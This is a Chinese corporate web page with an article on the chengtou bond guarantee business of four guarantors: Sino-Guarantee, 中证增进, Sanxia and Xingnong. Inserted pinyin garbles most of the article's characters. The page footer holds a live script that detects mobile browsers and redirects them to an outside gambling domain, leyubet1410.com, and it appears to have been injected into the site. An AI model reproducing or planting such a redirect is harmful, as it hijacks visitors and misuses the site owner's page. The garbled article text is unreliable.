 在(zai)城(cheng)(cheng)投债担保(bao)(bao)(bao)业(ye)务(wu)(wu)方(fang)面,担保(bao)(bao)(bao)公(gong)(gong)司(si)可以分为三(san)大类(lei),一是中证增(zeng)进(jin)、中债增(zeng)进(jin)、中投保(bao)(bao)(bao)、中合(he)担保(bao)(bao)(bao)等全国性(xing)担保(bao)(bao)(bao)公(gong)(gong)司(si),业(ye)务(wu)(wu)布(bu)局相(xiang)对(dui)分散,合(he)作客户以经济相(xiang)对(dui)发达区域(yu)为主,业(ye)务(wu)(wu)品(pin)种(zhong)上除企业(ye)债外,公(gong)(gong)司(si)债、中期票据等业(ye)务(wu)(wu)品(pin)种(zhong)也(ye)有涉及;二是重(zhong)庆(qing)三(san)峡担保(bao)(bao)(bao)、重(zhong)庆(qing)兴农担保(bao)(bao)(bao)等区域(yu)性(xing)担保(bao)(bao)(bao)公(gong)(gong)司(si),但此类(lei)公(gong)(gong)司(si)也(ye)在(zai)全国范围内(nei)开展业(ye)务(wu)(wu)。三(san)是安徽担保(bao)(bao)(bao)、江苏再担保(bao)(bao)(bao)等省级(ji)担保(bao)(bao)(bao)平台,业(ye)务(wu)(wu)集(ji)中于省内(nei)。下面将重(zhong)点分析中投保(bao)(bao)(bao)、中证增(zeng)进(jin)、三(san)峡担保(bao)(bao)(bao)和兴农担保(bao)(bao)(bao)等全国开展业(ye)务(wu)(wu)的担保(bao)(bao)(bao)公(gong)(gong)司(si)的城(cheng)(cheng)投债业(ye)务(wu)(wu)。

(二)中投保城投债担保业务情况

作为国内较(jiao)早开(kai)(kai)展城投(tou)(tou)(tou)债(zhai)担(dan)保(bao)(bao)业(ye)(ye)务的(de)担(dan)保(bao)(bao)公司,2013年(nian)至2015年(nian)期间大量新(xin)增(zeng)(zeng)城投(tou)(tou)(tou)企业(ye)(ye)债(zhai)担(dan)保(bao)(bao)业(ye)(ye)务,其中(zhong)2014年(nian)全年(nian)新(xin)增(zeng)(zeng)33笔(bi)、总额(e)350亿元的(de)城投(tou)(tou)(tou)企业(ye)(ye)债(zhai)担(dan)保(bao)(bao)业(ye)(ye)务。2018年(nian)以来,公司城投(tou)(tou)(tou)债(zhai)担(dan)保(bao)(bao)业(ye)(ye)务增(zeng)(zeng)速有所(suo)放缓,合计(ji)新(xin)增(zeng)(zeng)8笔(bi)城投(tou)(tou)(tou)债(zhai)担(dan)保(bao)(bao)业(ye)(ye)务,业(ye)(ye)务区域集中(zhong)在江苏省(6笔(bi))和(he)山(shan)东省(2笔(bi))的(de)百强县和(he)地级(ji)市主城区,区域经济(ji)环境(jing)较(jiao)好,8笔(bi)业(ye)(ye)务所(suo)在地一(yi)般预算收入平均值为57亿元。业(ye)(ye)务品种(zhong)上(shang),企业(ye)(ye)债(zhai)是中(zhong)投(tou)(tou)(tou)保(bao)(bao)主要(yao)业(ye)(ye)务品种(zhong),但2020年(nian)开(kai)(kai)始涉(she)足公司债(zhai),尤其是新(xin)增(zeng)(zeng)2笔(bi)非公开(kai)(kai)的(de)公司债(zhai)产品。

(三)中证增进城投债担保业务情况

中证增进公(gong)司于2016年开(kai)展城投债担(dan)保业(ye)务(wu),整体(ti)业(ye)务(wu)规(gui)(gui)模(mo)平(ping)稳增长。2016年公(gong)司单笔(bi)(bi)业(ye)务(wu)额度较高,2016年5笔(bi)(bi)业(ye)务(wu)合计规(gui)(gui)模(mo)113.5亿元,之后逐(zhu)步压缩(suo)单笔(bi)(bi)业(ye)务(wu)额度。

业(ye)(ye)务(wu)(wu)产(chan)品看(kan),中证增(zeng)进业(ye)(ye)务(wu)(wu)品种相(xiang)对(dui)(dui)多元化,尤其2019年以(yi)来,新增(zeng)城投(tou)债担保业(ye)(ye)务(wu)(wu)中无企(qi)业(ye)(ye)债担保项目,并少有的涉足(zu)短(duan)期(qi)融资券(quan)项目。从(cong)业(ye)(ye)务(wu)(wu)开展区(qu)(qu)域(yu)看(kan),2018年以(yi)来公司新增(zeng)业(ye)(ye)务(wu)(wu)11笔(bi)(bi),区(qu)(qu)域(yu)分布(bu)较(jiao)为(wei)分散(san),江(jiang)苏(su)省4笔(bi)(bi),重庆市(shi)3笔(bi)(bi),浙江(jiang)省、四(si)川省、湖南省、黑龙江(jiang)省各一笔(bi)(bi)。从(cong)业(ye)(ye)务(wu)(wu)开展区(qu)(qu)域(yu)行政级(ji)别看(kan),行政级(ji)别相(xiang)对(dui)(dui)较(jiao)高,区(qu)(qu)域(yu)经(jing)济水平(ping)相(xiang)对(dui)(dui)较(jiao)好,其中地(di)级(ji)市(shi)平(ping)台项目4笔(bi)(bi),区(qu)(qu)级(ji)平(ping)台5笔(bi)(bi),百强(qiang)县(xian)项目2笔(bi)(bi)。非地(di)级(ji)市(shi)项目所处区(qu)(qu)域(yu)一般预(yu)算平(ping)均达(da)到114亿元。

(四)三峡担保城投债担保业务情况

三峡担(dan)(dan)(dan)(dan)保(bao)在(zai)城(cheng)投债担(dan)(dan)(dan)(dan)保(bao)业(ye)(ye)(ye)务(wu)(wu)开展时间较早,业(ye)(ye)(ye)务(wu)(wu)规模(mo)相对较大(da),尤其是在(zai)2017年(nian)和(he)2019年(nian),分别新(xin)增28笔(bi)、36笔(bi)城(cheng)投债担(dan)(dan)(dan)(dan)保(bao)业(ye)(ye)(ye)务(wu)(wu),新(xin)增业(ye)(ye)(ye)务(wu)(wu)规模(mo)236.4亿元和(he)212亿元。2020年(nian)以来,受制于(yu)公司整体担(dan)(dan)(dan)(dan)保(bao)业(ye)(ye)(ye)务(wu)(wu)规模(mo)限制,新(xin)增担(dan)(dan)(dan)(dan)保(bao)业(ye)(ye)(ye)务(wu)(wu)相对较少。从担(dan)(dan)(dan)(dan)保(bao)业(ye)(ye)(ye)务(wu)(wu)产品类型看,城(cheng)投企业(ye)(ye)(ye)债是三峡担(dan)(dan)(dan)(dan)保(bao)的主要业(ye)(ye)(ye)务(wu)(wu)品种。

从业(ye)务(wu)(wu)开展区(qu)域(yu)看,三峡(xia)担(dan)保业(ye)务(wu)(wu)区(qu)域(yu)分布较(jiao)广。2018年以来新(xin)(xin)增(zeng)(zeng)(zeng)城投债(zhai)担(dan)保业(ye)务(wu)(wu)53笔(bi),合计336.8亿(yi)(yi)(yi)(yi)元(yuan),业(ye)务(wu)(wu)分布于14个(ge)省(sheng)份(fen),中(zhong)西部经济相对(dui)(dui)不发达地区(qu)业(ye)务(wu)(wu)相对(dui)(dui)集(ji)中(zhong)。其中(zhong)江西省(sheng)新(xin)(xin)增(zeng)(zeng)(zeng)业(ye)务(wu)(wu)9笔(bi),新(xin)(xin)增(zeng)(zeng)(zeng)业(ye)务(wu)(wu)规模(mo)56亿(yi)(yi)(yi)(yi)元(yuan),湖北省(sheng)是三峡(xia)担(dan)保第二(er)大业(ye)务(wu)(wu)区(qu)域(yu),新(xin)(xin)增(zeng)(zeng)(zeng)业(ye)务(wu)(wu)7笔(bi),新(xin)(xin)增(zeng)(zeng)(zeng)业(ye)务(wu)(wu)规模(mo)51.3亿(yi)(yi)(yi)(yi)元(yuan);重庆市新(xin)(xin)增(zeng)(zeng)(zeng)业(ye)务(wu)(wu)7笔(bi),新(xin)(xin)增(zeng)(zeng)(zeng)业(ye)务(wu)(wu)规模(mo)49亿(yi)(yi)(yi)(yi)元(yuan)。

从开(kai)展业(ye)(ye)(ye)务(wu)(wu)(wu)(wu)所在(zai)地区(qu)行(xing)政级(ji)(ji)(ji)(ji)别看,江西(xi)省(sheng)(sheng)业(ye)(ye)(ye)务(wu)(wu)(wu)(wu)均为(wei)县(xian)(县(xian)级(ji)(ji)(ji)(ji)市(shi)(shi))平(ping)台,重庆市(shi)(shi)业(ye)(ye)(ye)务(wu)(wu)(wu)(wu)主要(yao)围绕(rao)区(qu)开(kai)展,湖北省(sheng)(sheng)内7笔(bi)业(ye)(ye)(ye)务(wu)(wu)(wu)(wu)中(zhong)3笔(bi)为(wei)县(xian)(县(xian)级(ji)(ji)(ji)(ji)市(shi)(shi)),3笔(bi)为(wei)区(qu)级(ji)(ji)(ji)(ji),1笔(bi)为(wei)国(guo)家级(ji)(ji)(ji)(ji)开(kai)发(fa)区(qu)项目(mu)。剔除地级(ji)(ji)(ji)(ji)市(shi)(shi)业(ye)(ye)(ye)务(wu)(wu)(wu)(wu)(河北张(zhang)家口市(shi)(shi)1笔(bi)),三峡担(dan)保(bao)在(zai)各(ge)省(sheng)(sheng)开(kai)展业(ye)(ye)(ye)务(wu)(wu)(wu)(wu)区(qu)域的(de)(de)预算(suan)(suan)收入(ru)(ru)相(xiang)对较(jiao)低,集中(zhong)于10-25亿(yi)元之间(jian)(jian),此区(qu)间(jian)(jian)业(ye)(ye)(ye)务(wu)(wu)(wu)(wu)占比接(jie)近80%,其(qi)中(zhong)在(zai)重庆市(shi)(shi)和江苏省(sheng)(sheng)开(kai)展的(de)(de)业(ye)(ye)(ye)务(wu)(wu)(wu)(wu)中(zhong),预算(suan)(suan)收入(ru)(ru)水平(ping)相(xiang)对较(jiao)高,而在(zai)湖南省(sheng)(sheng)、陕(shan)西(xi)省(sheng)(sheng)等地开(kai)展的(de)(de)业(ye)(ye)(ye)务(wu)(wu)(wu)(wu),平(ping)均预算(suan)(suan)收入(ru)(ru)仅为(wei)11亿(yi)元、13亿(yi)元。

(五)兴农担保城投债担保业务情况

兴农担保(bao)是近年来(lai)城投(tou)债担保(bao)业(ye)(ye)务增速最快的(de)担保(bao)公司,2017年至2020年8月,每年新(xin)增业(ye)(ye)务23笔(bi)(bi)、30笔(bi)(bi)、48笔(bi)(bi)和(he)18笔(bi)(bi),新(xin)增业(ye)(ye)务规(gui)模167.1亿元(yuan)、185亿元(yuan)、330.5亿元(yuan)和(he)112亿元(yuan)。业(ye)(ye)务品种(zhong)上看,企业(ye)(ye)债是兴农担保(bao)的(de)主要业(ye)(ye)务品种(zhong),公司债和(he)中期票据项(xiang)目兴农担保(bao)也有所涉及。

从业(ye)(ye)(ye)务(wu)(wu)开展区域(yu)看,兴农(nong)担保业(ye)(ye)(ye)务(wu)(wu)区域(yu)分布(bu)较广。2018年(nian)以来新(xin)(xin)(xin)增(zeng)(zeng)(zeng)城(cheng)投债担保业(ye)(ye)(ye)务(wu)(wu)95笔,合计(ji)625.3亿元(yuan),业(ye)(ye)(ye)务(wu)(wu)分布(bu)于14个省(sheng)份(fen),中西部经济相对不发达地区业(ye)(ye)(ye)务(wu)(wu)相对集中。其中重(zhong)庆市新(xin)(xin)(xin)增(zeng)(zeng)(zeng)业(ye)(ye)(ye)务(wu)(wu)24笔,新(xin)(xin)(xin)增(zeng)(zeng)(zeng)业(ye)(ye)(ye)务(wu)(wu)规(gui)(gui)模140.9亿元(yuan),湖南省(sheng)新(xin)(xin)(xin)增(zeng)(zeng)(zeng)业(ye)(ye)(ye)务(wu)(wu)15笔,新(xin)(xin)(xin)增(zeng)(zeng)(zeng)业(ye)(ye)(ye)务(wu)(wu)规(gui)(gui)模104.9亿元(yuan),四川省(sheng)新(xin)(xin)(xin)增(zeng)(zeng)(zeng)业(ye)(ye)(ye)务(wu)(wu)10笔,新(xin)(xin)(xin)增(zeng)(zeng)(zeng)业(ye)(ye)(ye)务(wu)(wu)规(gui)(gui)模51.1亿元(yuan),湖北省(sheng)新(xin)(xin)(xin)增(zeng)(zeng)(zeng)业(ye)(ye)(ye)务(wu)(wu)7笔,新(xin)(xin)(xin)增(zeng)(zeng)(zeng)业(ye)(ye)(ye)务(wu)(wu)规(gui)(gui)模57亿元(yuan)。

兴农担保的(de)城(cheng)投债担保业(ye)务合(he)(he)作区(qu)域(yu)经济水(shui)平相对(dui)一般,预(yu)(yu)算(suan)收(shou)(shou)入(ru)在(zai)25亿元(yuan)以(yi)下的(de)有63笔,占比超过(guo)70%,其(qi)中(zhong)在(zai)广西(xi)省(sheng)(sheng)、陕西(xi)省(sheng)(sheng)、四川省(sheng)(sheng)、湖(hu)南省(sheng)(sheng)等地合(he)(he)作区(qu)域(yu)经济水(shui)平下沉更为明显,合(he)(he)计有20笔业(ye)务的(de)合(he)(he)作区(qu)域(yu)的(de)预(yu)(yu)算(suan)收(shou)(shou)入(ru)在(zai)10亿元(yuan)以(yi)下。此外(wai),在(zai)江苏省(sheng)(sheng)、浙江省(sheng)(sheng)、山东省(sheng)(sheng)及重庆主城(cheng)区(qu)开展的(de)业(ye)务,区(qu)域(yu)预(yu)(yu)算(suan)收(shou)(shou)入(ru)水(shui)平相对(dui)较(jiao)好。

附(fu)件:专项企业债特点汇总

 

1部分信息(xi)源于(yu)公开(kai)市场及(ji)与(yu)部分合(he)(he)作(zuo)机(ji)构的(de)线下沟(gou)(gou)通(tong),因注册(ce)制实施时间不久,部分政策的(de)解读(du)及(ji)执行要求可(ke)能(neng)存在错漏情况,具体业务(wu)操作(zuo)时建议(yi)与(yu)合(he)(he)作(zuo)机(ji)构充分沟(gou)(gou)通(tong)监管要求,按照(zhao)监管要求支持。

2企(qi)业债跨市场交易存在两个代码,在同花顺数据筛(shai)选(xuan)时候注意(yi)剔除重复数据。

3注(zhu)册制(zhi)下,不再区分“大(da)小公募”,均由(you)交(jiao)易(yi)所受理、审核(he),审核(he)通(tong)过后报(bao)送证监会履行注(zhu)册程(cheng)序。

4根据发改办财(cai)金【2015】1327号,债券募集(ji)资金占项目总投比例(li)统一放宽至70%。

 

文章作者:战略研(yan)究部——孙坚(jian)

 

0
诚聘英才

官方微信(xin)公众号

联系我们

027-87317028

027-87319263-8209

湖北省武汉市武昌区
洪山路64号湖光大厦东7楼

武汉市武昌区杏林西路6号2层

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();